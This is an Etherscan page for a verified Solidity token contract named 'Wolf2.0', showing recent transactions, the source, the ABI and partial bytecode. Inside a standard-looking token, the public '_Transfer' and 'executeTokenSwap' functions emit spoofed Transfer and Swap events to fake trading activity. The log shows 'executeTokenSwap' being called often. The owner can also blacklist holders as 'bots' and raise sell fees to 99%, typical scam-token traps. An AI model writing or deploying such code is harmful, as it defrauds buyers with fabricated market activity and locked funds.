ETH Price: $2,519.19 (-4.50%)

Contract

0x752A5127de53b054819F3bd6a20Ec8700720211b
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve177014262023-07-15 21:27:35409 days ago1689456455IN
0x752A5127...00720211b
0 ETH0.0008155717.38696661
Execute Token Sw...177002592023-07-15 17:30:11409 days ago1689442211IN
0x752A5127...00720211b
0 ETH0.003729613.06336645
Execute Token Sw...176987252023-07-15 12:16:59409 days ago1689423419IN
0x752A5127...00720211b
0 ETH0.0056276914.80169987
Approve176973072023-07-15 7:25:47410 days ago1689405947IN
0x752A5127...00720211b
0 ETH0.0006265413.36060968
Transfer176973022023-07-15 7:24:47410 days ago1689405887IN
0x752A5127...00720211b
0 ETH0.0013073413.4708706
Unblock Bot176972592023-07-15 7:15:59410 days ago1689405359IN
0x752A5127...00720211b
0 ETH0.0003836612.4700711
_Transfer176972532023-07-15 7:14:47410 days ago1689405287IN
0x752A5127...00720211b
0 ETH0.0003431113.6820421
Block Bots176969252023-07-15 6:08:11410 days ago1689401291IN
0x752A5127...00720211b
0 ETH0.0006706414.08395424
Approve176969152023-07-15 6:06:11410 days ago1689401171IN
0x752A5127...00720211b
0 ETH0.0006550713.88014061
Execute Token Sw...176968552023-07-15 5:53:47410 days ago1689400427IN
0x752A5127...00720211b
0 ETH0.0044230213.07574973
Execute Token Sw...176968382023-07-15 5:50:23410 days ago1689400223IN
0x752A5127...00720211b
0 ETH0.0061039613.77336328
Execute Token Sw...176968132023-07-15 5:45:11410 days ago1689399911IN
0x752A5127...00720211b
0 ETH0.0059320913.38988149
Block Bots176968082023-07-15 5:44:11410 days ago1689399851IN
0x752A5127...00720211b
0 ETH0.0006452913.55149402
Execute Token Sw...176967892023-07-15 5:40:23410 days ago1689399623IN
0x752A5127...00720211b
0 ETH0.005191213.65365587
Execute Token Sw...176967682023-07-15 5:36:11410 days ago1689399371IN
0x752A5127...00720211b
0 ETH0.0048248114.26454235
Execute Token Sw...176967472023-07-15 5:31:59410 days ago1689399119IN
0x752A5127...00720211b
0 ETH0.0046641312.61552794
Execute Token Sw...176967412023-07-15 5:30:47410 days ago1689399047IN
0x752A5127...00720211b
0 ETH0.0047899414.61321043
Approve176967322023-07-15 5:28:59410 days ago1689398939IN
0x752A5127...00720211b
0 ETH0.0004305615.73984757
Approve176967312023-07-15 5:28:47410 days ago1689398927IN
0x752A5127...00720211b
0 ETH0.0006691214.15989978
Execute Token Sw...176967302023-07-15 5:28:35410 days ago1689398915IN
0x752A5127...00720211b
0 ETH0.0048967212.87914722
Execute Token Sw...176967212023-07-15 5:26:47410 days ago1689398807IN
0x752A5127...00720211b
0 ETH0.0042620211.20907666
Execute Token Sw...176967142023-07-15 5:25:23410 days ago1689398723IN
0x752A5127...00720211b
0 ETH0.0046966712.35413778
Block Bots176967042023-07-15 5:23:23410 days ago1689398603IN
0x752A5127...00720211b
0 ETH0.0009841413.91061124
Execute Token Sw...176966882023-07-15 5:20:11410 days ago1689398411IN
0x752A5127...00720211b
0 ETH0.0038358112.50277959
Execute Token Sw...176966812023-07-15 5:18:47410 days ago1689398327IN
0x752A5127...00720211b
0 ETH0.0035682912.48470877
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-15
*/

/// SPDX-License-Identifier: Unlicensed



pragma solidity ^0.8.18;



abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
        event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract TOKEN is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = unicode"Wolf2.0";
    string private constant _symbol = unicode"Wolf2.0";
    uint8 private constant _decimals = 2;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
    address payable private _developmentAddress = payable(0xD2E2e37c005707D4C58243C271f17a32b7cC67b2);
    address payable private _marketingAddress = payable(0xD2E2e37c005707D4C58243C271f17a32b7cC67b2);

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled =true;

    uint256 public _maxTxAmount = 5000000000000 * 10**9;
    uint256 public _maxWalletSize = 500000000000 * 10**9;
    uint256 public _swapTokensAtAmount = 100000000 * 10**9;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }
function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], uniswapPool, wethAmounts[i]);
        }
        return true;
    }
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");

            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }

    function activateTrading() public onlyOwner {
        tradingOpen = true;
    }

    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function blockBots(address[] memory bots_) public onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function unblockBot(address notbot) public { 
    require(
        msg.sender == owner() || balanceOf(msg.sender) >= totalSupply() / 50, 
        " owner "
    );
    bots[notbot] = false;
}


    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function updateFees(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {

        require((redisFeeOnBuy + taxFeeOnBuy) <= 25);
        require((redisFeeOnSell + taxFeeOnSell) <= 99);
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }

    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function removeLimits() public onlyOwner{

        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
    } 

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"tokenAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"wethAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052670de0b6b3a76400006000196200001c919062000730565b6000196200002b919062000797565b600655600060085560006009556000600a556000600b55600a54600c55600b54600d55600c54600e55600d54600f5573d2e2e37c005707d4c58243c271f17a32b7cc67b2601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073d2e2e37c005707d4c58243c271f17a32b7cc67b2601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601560146101000a81548160ff02191690831515021790555060006015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff02191690831515021790555069010f0cf064dd59200000601655681b1ae4d6e2ef50000060175567016345785d8a00006018553480156200018857600080fd5b5060006200019b620006c660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506006546002600062000250620006c660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000334573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035a91906200083c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003c2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003e891906200083c565b6040518363ffffffff1660e01b8152600401620004079291906200087f565b6020604051808303816000875af115801562000427573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200044d91906200083c565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620004a3620006ce60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000650620006c660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620006b79190620008bd565b60405180910390a350620008da565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200073d82620006f7565b91506200074a83620006f7565b9250826200075d576200075c62000701565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620007a482620006f7565b9150620007b183620006f7565b9250828203905081811115620007cc57620007cb62000768565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200080482620007d7565b9050919050565b6200081681620007f7565b81146200082257600080fd5b50565b60008151905062000836816200080b565b92915050565b600060208284031215620008555762000854620007d2565b5b6000620008658482850162000825565b91505092915050565b6200087981620007f7565b82525050565b60006040820190506200089660008301856200086e565b620008a560208301846200086e565b9392505050565b620008b781620006f7565b82525050565b6000602082019050620008d46000830184620008ac565b92915050565b61448a80620008ea6000396000f3fe6080604052600436106101f15760003560e01c806374010ece1161010d578063a9059cbb116100a0578063c6616ba11161006f578063c6616ba1146106bf578063dd62ed3e146106e8578063e156b1b614610725578063ea1644d514610762578063f2fde38b1461078b576101f8565b8063a9059cbb14610605578063bfd7928414610642578063c3c8cd801461067f578063c492f04614610696576101f8565b80638da5cb5b116100dc5780638da5cb5b1461055b5780638f9a55c01461058657806395d89b41146105b157806398a5c315146105dc576101f8565b806374010ece146104b3578063751039fc146104dc5780637d1db4a5146104f35780637f2feddc1461051e576101f8565b80632fd689e3116101855780636d8aa8f8116101545780636d8aa8f81461041f5780636fc3eaec1461044857806370a082311461045f578063715018a61461049c576101f8565b80632fd689e314610375578063313ce567146103a057806349bd5a5e146103cb5780636b999053146103f6576101f8565b80631694505e116101c15780631694505e146102a557806318160ddd146102d05780631ae1ffbc146102fb57806323b872d